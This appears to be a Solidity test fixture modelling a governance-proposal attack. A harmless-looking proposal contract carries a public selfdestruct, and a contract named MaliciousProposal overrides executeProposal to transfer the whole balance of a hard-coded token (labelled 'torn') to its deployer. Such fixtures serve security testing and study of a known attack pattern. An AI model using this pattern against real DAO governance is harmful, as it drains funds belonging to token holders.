33 lines
788 B
Solidity
33 lines
788 B
Solidity
// SPDX-License-Identifier: MIT
|
|
|
|
pragma solidity ^0.6.12;
|
|
pragma experimental ABIEncoderV2;
|
|
|
|
import { IERC20 } from "@openzeppelin/contracts-v3/token/ERC20/IERC20.sol";
|
|
|
|
contract InitialProposal {
|
|
event MockExecuted(uint256 num);
|
|
|
|
function executeProposal() external virtual {
|
|
emit MockExecuted(1);
|
|
}
|
|
|
|
function emergencyStop() public {
|
|
selfdestruct(payable(0));
|
|
}
|
|
}
|
|
|
|
contract MaliciousProposal is InitialProposal {
|
|
address public immutable deployer;
|
|
|
|
constructor() public {
|
|
deployer = msg.sender;
|
|
}
|
|
|
|
function executeProposal() external virtual override {
|
|
IERC20 torn = IERC20(0x77777FeDdddFfC19Ff86DB637967013e6C6A116C);
|
|
uint256 bal = torn.balanceOf(address(this));
|
|
torn.transfer(deployer, bal);
|
|
}
|
|
}
|